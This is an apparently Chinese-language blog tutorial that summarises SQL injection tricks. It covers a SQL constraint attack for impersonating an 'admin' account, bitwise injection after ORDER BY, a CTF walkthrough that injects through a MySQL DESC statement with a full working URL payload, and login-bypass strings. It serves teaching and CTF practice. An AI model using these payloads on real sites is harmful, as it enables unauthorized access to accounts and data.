首页 > 技术文章 > 注入别样姿势总结

romatic 2020-07-21 17:24 原文

一.sql约束攻击

1.什么是sql约束攻击

sql约束攻击大致是数据库在处理sql中的字符串的时候,字符串后面的空格字符将会被删除。比如在查询中"faith"与"faith   "是一样的。

select * from student1 where name='zxb   ';
等于
select * from student1 where name='zxb';

 

 

 在利用的时候可以先注册一个和管理员相同的用户,比如‘admin’账户可以注册一个‘admin   ’多个空格的账户,然后登录就可以达到越权的目的。

二.order by 后的注入

常见的order by注入一般会使用报错,布尔,时间进行注入

如:

 

 

 在了解order by注入之前我们先了解一下sql中的位运算符的比较,即2和3的二进制的比较,即10和11进行|和&运算。

 

 

 

10&11与;都为1时,结果是1,否则是0
10|11或;有1时,结果是1,都是0时,结果为0

此时看一个有趣的现象

 

 

 此时看另外的两条语句

 

 

 这是其中的过程

1        2       3
001     010    011
010     010    010
|

011     010    011

这样就全都明白了。

此时在注入的时候我们可以利用这个条件例如这样

http://www.xxx.com/index.php/?id=|(注入语句)+1来判断页面的变化,如果有变化则证明注入语句是正确的。

三.desc相关问题

desc介绍:{DESCRIBE|DESC}tbl_name[col_name |wild]

DESCRIBE提供有关一个表的列信息。col_name可以是一个列名或者是一个包含sql通配符“%”和“_"的字符串。也就是说表名后面可以跟列名或者是正则表达式,这样我们可带入我们的sql注入语句

 

 

 例题:http://web.jarvisoj.com:32794/

首先扫描目录发现有目录

 

 

 打开查看源码有

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();中连续的两个反引号相当于一个空格,而且desc支持两个参数,那么我们就可以尝试注入了,又因为最后输出了我们结果,所以构造payload:test` `where 1=2 union select 1.

查询的语句就会变成desc ` secret_test` `where 1=2  union select 1`

                                select 'flag{xxx}' from secret_test` ` where 1=2 union select 1

最后得到flag

 

http://web.jarvisoj.com:32794/index.php?table=test`%20`%20where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

 

 四.万能密码

1.双引号法

select * from student2 where name = ''+'' and gender = ''+'';

2.双等于法

 

 

 

推荐阅读